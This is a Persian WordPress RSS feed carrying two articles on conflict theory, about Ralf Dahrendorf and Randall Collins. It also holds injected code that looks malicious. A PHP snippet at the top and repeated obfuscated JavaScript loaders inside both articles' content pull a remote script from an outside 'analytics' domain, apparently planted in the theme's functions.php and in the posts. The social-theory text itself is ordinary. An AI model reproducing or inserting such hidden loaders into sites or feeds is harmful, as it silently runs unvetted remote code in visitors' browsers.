/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/theorium/theorium.net/wp-content/themes/disto/functions.php:931) in <b>/home/theorium/theorium.net/wp-includes/feed-rss2.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>نظریه کشمکش &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<atom:link href="https://theorium.net/tag/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%da%a9%d8%b4%d9%85%da%a9%d8%b4/feed/" rel="self" type="application/rss+xml" />
	<link>https://theorium.net</link>
	<description>بنیاد بین المللی تئوری ها و دکترین ها</description>
	<lastBuildDate>Sat, 21 Mar 2026 07:16:18 +0000</lastBuildDate>
	<language>fa-IR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.4.19</generator>

<image>
	<url>https://theorium.net/wp-content/uploads/2020/07/cropped-favicon-32x32.png</url>
	<title>نظریه کشمکش &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<link>https://theorium.net</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>دارندورف یکی از پیشگامان نظریات اجتماعی</title>
		<link>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%da%a9%d8%b4%d9%85%da%a9%d8%b4-%d8%af%d8%a7%d8%b1%d9%86%d8%af%d9%88%d8%b1%d9%81/</link>
					<comments>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%da%a9%d8%b4%d9%85%da%a9%d8%b4-%d8%af%d8%a7%d8%b1%d9%86%d8%af%d9%88%d8%b1%d9%81/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Mon, 12 Dec 2022 18:22:46 +0000</pubDate>
				<category><![CDATA[علوم انسانی]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[اصول بنیادی]]></category>
		<category><![CDATA[دارندورف]]></category>
		<category><![CDATA[علوم اجتماعی]]></category>
		<category><![CDATA[نظریه]]></category>
		<category><![CDATA[نظریه کشمکش]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6842</guid>

					<description><![CDATA[<p>دارندورف یکی از پیشگامان نظریات اجتماعی دارندورف یکی از پیشگامان نظریات اجتماعی ؛ رالف گوستاو دارندورف به آلمانی یا بارون دارندورف، دارای رتبه امپراتوری بریتانیا و عضو آکادمی بریتانیا جامعه‌شناس، فیلسوف، دانشمند علوم سیاسی و سیاستمدار لیبرال آلمانی- انگلیسی بود. دارندورف در دوره سیاستمداری اش به عنوان عضو پارلمان آلمان، کمیسر اروپا در تجارت، کمیسر [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%da%a9%d8%b4%d9%85%da%a9%d8%b4-%d8%af%d8%a7%d8%b1%d9%86%d8%af%d9%88%d8%b1%d9%81/">دارندورف یکی از پیشگامان نظریات اجتماعی</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h4>دارندورف یکی از پیشگامان نظریات اجتماعی</h4>
<p>دارندورف یکی از پیشگامان نظریات اجتماعی ؛ رالف گوستاو دارندورف به آلمانی یا بارون دارندورف، دارای رتبه امپراتوری بریتانیا و عضو آکادمی بریتانیا جامعه‌شناس، فیلسوف، دانشمند علوم سیاسی و سیاستمدار لیبرال آلمانی- انگلیسی بود.</p>
<p>دارندورف در دوره سیاستمداری اش به عنوان عضو پارلمان آلمان، کمیسر اروپا در تجارت، کمیسر اروپا در تحقیق، نوآوری و علوم و عضو مجلس اعیان بریتانیا به فعال بوده‌است. از ۱۹۹۳ پس از دریافت نشان سلطنتی پادشاهی متحده در آنجا با عنوان لرد دارندورف شناخته می‌شود. او یکی از متخصصین پیشگام در طبقه‌بندی جوامع مدرن بود و به عنوان یکی از تاثیرگذارترین متفکرین زمان توصیف شده‌است.</p>
<p>به نظر دارندورف و نظریه پردازان كشمكش هر جامعه اى در هر مقطعى دستخوش فرا گردهاى دگرگونى است در حالى كه كاركرد گرایان میگویند جامعه ( ایستا و یا دست كم در حالت توازن متغیر است).</p>
<p>دارندورف معتقد است كه جامعه نمى تواند بدون داشتن هر دو جنبه ى كشمكش و توافق ادامه حیات بدهد . سپس بین روانه هاى توافق و كشمكش روابط متقابلى وجود دارد.</p>
<p>به نظر دارندورف توزیع نابرابرانه ى اقتدار همواره عامل تعیین كننده ى كشمكش ها ى منظم اجتماعى میشود.</p>
<p>&nbsp;</p>
<h6>دارندورف و ساختارهای گسترده</h6>
<p>دارندورف بر ساختار هاى گسترده تاكید دارد. این فكر <a href="https://en.wikipedia.org/wiki/Ralf_Dahrendorf">او</a> در نظریه ى اصلى اش جنبه ى اساسى دارد كه سمت ها ى گوناگون اجتماعى از مقادیر متفاوتى از اقتدار برخوردارند. اقتدار نه در افراد بلكه در سمت ها نهفته است.</p>
<p>در تحلیل دارندورف اقتدار همیشه مستلزم فرماندهى و فرمانبرى است. از آنهایى كه سمت ها ى با اقتدار دارند انتظار مى رود كه زیر دستانشان را تحت نظارت بگیرند یعنى آنها را به خاطر چشمداشتهاى اطرافیان بر دیگران چیرگى دارند. و چون این این اقتدار مشروع است پس كسانى كه به این اقتدار تن در نمیدهند باید مجازات شوند.</p>
<p>تا آنجا كه به دارندوف مربوط می شود اقتدار یك ساختار همیشگى ندارد بدینسان كه شخص با اقتدار در یك گروه لزوماً با همان سمت با اقتدار را در محیط دیگر ندارد. و از این استدلال چنین بر مى آید كه جامعه از واحدهاى گوناگونى ساخته می شود كه دارندورف آنها را «همگروههاى آمرانه تنظیم شده» می نامد . از آنجا كه جامعه بسیارى از این همگروهیها را در بر میگیرد یك فرد مىتواند در یكی از آنها سمت بالا دست و سمت فرو دست را اشغال كند.</p>
<p>این دو گروه منافع معینى دارند كه در ذات و جهت متناقضند و دراین جا اصطلاح منافع دارندورف پیش مى آید كه در داخل هر نوع همگروهى آنهایى كه سمت هاى مسلط را در دست دارند خواستار حفظ وضع موجودند در حالیكه دارندگان سمت هاى پایین در جستجوى دگرگونى اند. برخورد منافع در هر همگروهى دست كم به گونه ى پنهان همیشه وجود دارد واین به آن معنى است كه مشروعیت اقتدار همیشه در خطر است.</p>
<p style="text-align: center;"><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter wp-image-6843 size-medium" src="https://theorium.net/wp-content/uploads/2022/12/Ralf-Dahrendorf-Inside-300x300.jpg" alt="دارندورف" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2022/12/Ralf-Dahrendorf-Inside-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2022/12/Ralf-Dahrendorf-Inside-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2022/12/Ralf-Dahrendorf-Inside-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2022/12/Ralf-Dahrendorf-Inside-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2022/12/Ralf-Dahrendorf-Inside.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>&nbsp;</p>
<h6>گروه های اجتماعی، کشمکش و دارندورف</h6>
<p>دارندورف براى تبیین كشمكش اجتماعى از سه گروه نام مى برد؛</p>
<p>الف) شبه گروه :كه مجموعه اى از متصدیان سمتها با منافع نقشی یكسان</p>
<p>ب) گروه ذینفع</p>
<p>ج) گروههاى كشمكش.</p>
<p>با پدید آمدن گروههاى كشمكش و ساختار ناشی از آن كه تنها بخشی از واقعیت اجتماعی است به دگرگونى مى انجامد. این نظریه هم بعلت توجه اندك به نظم و ثبات مورد انتقاد قرار گرفته كه عبارتست از؛</p>
<ul>
<li>برگردان نارسایى از نظریه ى ماركسیتى به زبان جامعه شناسى است.</li>
<li>وجه اشتراك آن با كاركرد گرایى ساختارى خیلى بیشتر است.</li>
<li>به ابهام مسایل مفهومى و منطقى دچار است.</li>
<li>یكسره كلامى است و لذا براى فهم اندیشه و كنش فردى چیز زیادى بدست نمى آید.</li>
</ul>
<p>&nbsp;</p>
<h6>طبقات اجتماعی از منظر دارندورف</h6>
<p>از موثرترین کارهای دارندورف درباره نابرابری اجتماعی، طبقات اجتماعی و نزاع‌های طبقاتی در جامعه صنعتی است که در ۱۹۵۹ انتشار یافته ‌است. این کتاب نخستین شرح مفصل وی از مسئله نابرابری در جوامع مدرن یا پسااستعماری است. جان کلام دارندورف این است که نه کارکردگرایی ساختاری و نه مارکسیسم هیچ‌کدام به تنهایی، نمی‌توانند چشم‌انداز روشن و قابل قبولی از جامعه پیشرفته ارائه دهند.</p>
<p>وی مدعی است که کارکردگرایی ساختاری توجه بسیار کمی به مسئله نزاع طبقاتی دارد و مارکس هم طبقات اش را بسیار بی دقت و در زمینه خاص تاریخی تعریف نموده‌است.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%da%a9%d8%b4%d9%85%da%a9%d8%b4-%d8%af%d8%a7%d8%b1%d9%86%d8%af%d9%88%d8%b1%d9%81/">دارندورف یکی از پیشگامان نظریات اجتماعی</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%da%a9%d8%b4%d9%85%da%a9%d8%b4-%d8%af%d8%a7%d8%b1%d9%86%d8%af%d9%88%d8%b1%d9%81/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>نظریه كشمكش رندل كالینز</title>
		<link>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%83%d8%b4%d9%85%d9%83%d8%b4-%da%a9%d8%a7%d9%84%db%8c%d9%86%d8%b2/</link>
					<comments>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%83%d8%b4%d9%85%d9%83%d8%b4-%da%a9%d8%a7%d9%84%db%8c%d9%86%d8%b2/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sat, 10 Dec 2022 18:07:46 +0000</pubDate>
				<category><![CDATA[علوم انسانی]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[اصول بنیادی]]></category>
		<category><![CDATA[علوم اجتماعی]]></category>
		<category><![CDATA[کالینز]]></category>
		<category><![CDATA[نظریه]]></category>
		<category><![CDATA[نظریه کشمکش]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6838</guid>

					<description><![CDATA[<p>نظریه كشمكش رندل كالینز نظریه كشمكش رندل كالینز ؛ جامعه‌شناس آمریکایی است که هم در تدریس و هم در نگارش تأثیرگذار بوده ‌است. او در بسیاری از دانشگاه‌های مطرح جهان تدریس کرده و آثار دانشگاهی او به زبان‌های مختلف ترجمه شده‌است. کالینز در حال حاضر در کرسی دوروتی سواین توماس، استاد جامعه‌شناسی، ممتاز در دانشگاه [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%83%d8%b4%d9%85%d9%83%d8%b4-%da%a9%d8%a7%d9%84%db%8c%d9%86%d8%b2/">نظریه كشمكش رندل كالینز</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h4>نظریه كشمكش رندل كالینز</h4>
<p>نظریه كشمكش رندل كالینز ؛ جامعه‌شناس آمریکایی است که هم در تدریس و هم در نگارش تأثیرگذار بوده ‌است. او در بسیاری از دانشگاه‌های مطرح جهان تدریس کرده و آثار دانشگاهی او به زبان‌های مختلف ترجمه شده‌است. کالینز در حال حاضر در کرسی دوروتی سواین توماس، استاد جامعه‌شناسی، ممتاز در دانشگاه پنسیلوانیا است.</p>
<p>کالینز نظریه‌پرداز برجسته اجتماعی معاصری است که حوزه‌های تخصصی او شامل جامعه‌شناسی کلان تاریخی تغییرات سیاسی و اقتصادی است و جامعه‌شناسی خرد، از جمله تعامل چهره به چهره و جامعه‌شناسی روشنفکران و تضاد اجتماعی.</p>
<p>انتشارات کالینز شامل جامعه‌شناسی فلسفه‌ها؛ نظریه جهانی تغییر فکری (۱۹۹۸)، که شبکه فیلسوفان و ریاضیدانان را برای بیش از دو هزار سال در جوامع آسیایی و غربی تجزیه و تحلیل می‌کند. تحقیقات فعلی او شامل الگوهای کلان خشونت از جمله جنگ معاصر و همچنین راه حل‌هایی برای خشونت پلیس است. او به عنوان یکی از برجسته‌ترین نظریه‌پردازان تضاد غیرمارکسیست در ایالات متحده شناخته می‌شود و از سال ۲۰۱۰ تا ۲۰۱۱ به عنوان رئیس انجمن جامعه‌شناسی آمریکا خدمت کرد.</p>
<h6>سال های ابتدایی اما تأثیرگذار زندگی</h6>
<p>کالینز در شهرهای مختلف بزرگ شد و بخش زیادی از سال‌های اولیه خود را در اروپا گذراند، جایی که پدرش در طول جنگ جهانی بخشی از اطلاعات نظامی بود و همچنین در وزارت امور خارجه ایالات متحده خدمت کرد. هر دو بلافاصله پس از جنگ جهانی دوم در آلمان و بعداها در مسکو زندگی کردند.</p>
<p>کالینز در یک مدرسه آمادگی نیوانگلند شرکت کرد. پس از آن، او مدرک لیسانس را در روان‌شناسی در دانشگاه هاروارد به پایان رساند، جایی که توسط جامعه‌شناس برجسته تالکوت پارسونز تدریس می‌شد. او متعاقباً مدرک کارشناسی ارشد را در این رشته از دانشگاه استنفورد و پیش از تکمیل مدرک کارشناسی ارشد و دکتری در جامعه‌شناسی در دانشگاه کالیفرنیا، برکلی دریافت کرد.</p>
<h6>دوران حضور در دانشگاه برکلی و شکل‌گیری نظریه کشمکش</h6>
<p>اگرچه او با روش‌شناسی محافظه‌کارانه اجتماعی پارسونز موافق نبود ولی به اعتبار نظریه‌پرداز بودن احترام می‌گذاشت و در سال‌های آخر عمرش از او پیروی کرد. کالینز می‌خواست شخصیت و شناخت انسان را مطالعه کند ولی به عنوان دستیار پژوهش در آزمایشگاه موش کار گماشته شد. این باعث شد او متوجه شود ترجیح می‌دهد جامعه‌شناسی بخواند.</p>
<p>کالینز در دوران حضورش در برکلی و پیش از طرح نظریه کشمکش درگیر اعتراضات دانشگاهی، جنبش آزادی بیان و جنبش ضد جنگ بود. در ۳ دسامبر ۱۹۶۴، کالینز به همراه بیش از ۶۰۰ نفر از همسالانش در حین حضور در جنبش آزادی بیان دستگیر شد.</p>
<p>کالینز در زمانی که در برکلی بود، با بسیاری از جامعه‌شناسان بانفوذ زمان خود، از جمله هربرت بلومر، فیلیپ سلزنیک و لئو لوونتال مواجه شد. او با جوزف بن دیوید، جامعه‌شناس اسرائیلی که از دانشگاه عبری بازدید می‌کرد، روی جامعه‌شناسی علم کار کرد، که در نهایت منجر به انتشار کتاب کالینز به نام «جامعه‌شناسی فلسفه‌ها» چند دهه بعد شد.</p>
<p>کالینز از طریق راینهارد بندیکس، پژوهشگر برجسته ماکس وبر با نظریه تضاد وبری آشنا شد. کالینز بعدها در مورد حرفه اولیه خود گفت: من بخشی از نسل جامعه‌شناسان جوانی بودم که نظریه کارکردگرایی را شکستند و به سمت نظریه تضاد حرکت کردند.</p>
<p>او بعدها فصلی برای اثر بندیکس «دولت و جامعه» نوشت. این کار به کالینز این امکان را داد که بعدها این نظریه را با جامعه‌شناسی خرد اروینگ گافمن ترکیب کند، که منجر به انتشار کتاب کالینز جامعه‌شناسی در سال ۱۹۷۵ و بعدها زنجیره‌های آیینی تعامل در سال ۲۰۰۴ شد. گافمن همچنین یکی از اساتید کالینز در دوران حضورش در برکلی بود.</p>
<p>&nbsp;</p>
<h6>مشاور رساله کالینز و اولین نشانه ها از نظریه کشمکش</h6>
<p>مشاور رساله <a href="https://en.wikipedia.org/wiki/Randall_Collins" target="_blank" rel="noopener noreferrer">کالینز</a>، جامعه‌شناس سازمانی و صنعتی هارولد ویلنسکی بود. عنوانش آموزش و استخدام: برخی از عوامل مؤثر الزامات استخدام در انواع سازمان‌ها بود و بعدها در سال ۱۹۷۹ با عنوان جامعه اعتباری؛ جامعه‌شناسی تاریخی آموزش و طبقه‌بندی منتشر شد. این تک‌نگار داده‌های سازمانی را تجزیه و تحلیل کرد تا نشان دهد افزایش نیازهای آموزشی برای اشتغال به دلیل تقاضای فن‌آوری برای مهارت‌ها نیست بلکه به دلیل تغییر استانداردهای احترام فرهنگی است.</p>
<p>كالینز كارش را از دیدگاه فردی شروع كرد از اینرو ریشه هاى نظرى كشمكش را در پدیده شناسى مردم نگارانه نهفته می‌داند. كالینز ساختارهاى اجتماعى را بیشتر به صورت الگوهاى كنش متعادل در نظر میگیرد تا به عنوان هسته هاى خارجى و الزام آور با اینهمه كنشگران را پیوسته در حال باز آفریدن سازمان اجتماعى می‌بیند.</p>
<p>كالینز هم به ماركس و هم به وبر ایراد گرفته و با توسل به قشر بندى اجتماعى نوعى جامعه شناسى خرد را مطرح میسازد كه طى آن تآكید بر جنبه هاى اجتماعى و فرهنگی و عاطفى می‌تواند مشخصه ى كار وى باشد.</p>
<p>&nbsp;</p>
<h6>نظریه کشمکش</h6>
<p>كالینز از سال ۱۹۷۵ اعلام داشت كه تاكیدش بر كشمكش جنبه ى عقیدتى ندارد. یعنى بد یا خوب بودن را كه جنبه اى سیاسى پیدا كند، مد نظر ندارد بلكه آنرا بعنوان یك روانه و شاید تنها روانه ى اساسى زندگى برگزیده.</p>
<p>كالینز كارش را از دیدگاه فردی شروع كرد از اینرو ریشه هاى نظرى كشمكش را در پدیده شناسى مردم نگارانه نهفته می‌داند. كالینز ساختارهاى اجتماعى را بیشتر به صورت الگوهاى كنش متعادل در نظر میگیرد تا به عنوان هسته هاى خارجى و الزام آور با اینهمه كنشگران را پیوسته در حال باز آفریدن سازمان اجتماعى می‌بیند.</p>
<p>كالینز هم به ماركس و هم به وبر ایراد گرفته و با توسل به قشر بندى اجتماعى نوعى جامعه شناسى خرد را مطرح میسازد كه طى آن تآكید بر جنبه هاى اجتماعى و فرهنگی و عاطفى می‌تواند مشخصه ى كار وى باشد.</p>
<p>&nbsp;</p>
<h6>اصول بنیادی نظریه کشمکش</h6>
<p>كالینز به سه اصل بنیادى توجه می‌کرد؛</p>
<ul>
<li>آدمها در جهان ذهنى خود ساخته اى زندگى مى كنند</li>
<li>آدمها قدرت تآثیر گذارى یا نظارت بر تجربه ى ذهنى افراد دیگر را ندارند.</li>
<li>آدمها می خواهند مخالفان خود را تحت نظارت در آورند.</li>
</ul>
<p>كالینز همچنین پنج اصل را در زمینه ى كشمكش مى پروراند كه عبارتند از؛</p>
<p>الف) نظریه ى كشمكش باید بر زندگى واقعى تآكید كند نه صورتبندیهاى انتزاعى مانند كاركردگرایى ساختارى</p>
<p>ب) این نظریه باید آن ترتیب هاى مادى را كه بر كنش متقابل اثر مى گذارد بررسى كند.</p>
<p>ج) كسانى كه منابع مادى را تحت نظارت دارند در پى نفع خود افراد فاقد منابع را استثمار مى كنند.</p>
<p>د) بر پدیده هاى فرهنگى از دیدگاه منافع و منابع و قدرت باید نگاه كرد.</p>
<p>و) به بررسى علمى قشر بندى و جنبه هاى دیگر جهان اجتماعى سخت پایبند است.</p>
<p style="text-align: center;"><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter wp-image-6840 size-medium" src="https://theorium.net/wp-content/uploads/2022/12/Randall-Collins-300x300.png" alt="نظریه کشمکش" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2022/12/Randall-Collins-300x300.png 300w, https://theorium.net/wp-content/uploads/2022/12/Randall-Collins-150x150.png 150w, https://theorium.net/wp-content/uploads/2022/12/Randall-Collins-100x100.png 100w, https://theorium.net/wp-content/uploads/2022/12/Randall-Collins-120x120.png 120w, https://theorium.net/wp-content/uploads/2022/12/Randall-Collins.png 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6>نظریه کشمکش در جنبه های مختلف زندگی</h6>
<p>همین نوع پایبندى علمى كالینز را واداشت تا یك رشته از قضایا را در رابطه با انواع جنبه هاى ویژه ى زندگى اجتماعى ساخته و پرداخته كند كه سه قضیه ى آن عبارتند از؛</p>
<ul>
<li>تجربه هاى فرماندهى و فرمانبرى تعیین كنندگان اصلى نگرشها و رفتارهاى فردى اند.</li>
<li>هر چه شخص بیشتر فرمان دهد مغرورتر و به خود مطمین تر و رسمى تر است و بهتر مى تواند خودش را با آرمانهاى سازمانى كه به نام آن فرمانهایش را توجیه مى كند منطبق سازد.</li>
<li>هر چه شخص بیشتر فرمان برد مطیع تر و تقدیر گراتر و بیگانه تر از آرمانهاى سازمانى است و خودش را تطبیق نمیدهد.</li>
</ul>
<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%83%d8%b4%d9%85%d9%83%d8%b4-%da%a9%d8%a7%d9%84%db%8c%d9%86%d8%b2/">نظریه كشمكش رندل كالینز</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%83%d8%b4%d9%85%d9%83%d8%b4-%da%a9%d8%a7%d9%84%db%8c%d9%86%d8%b2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>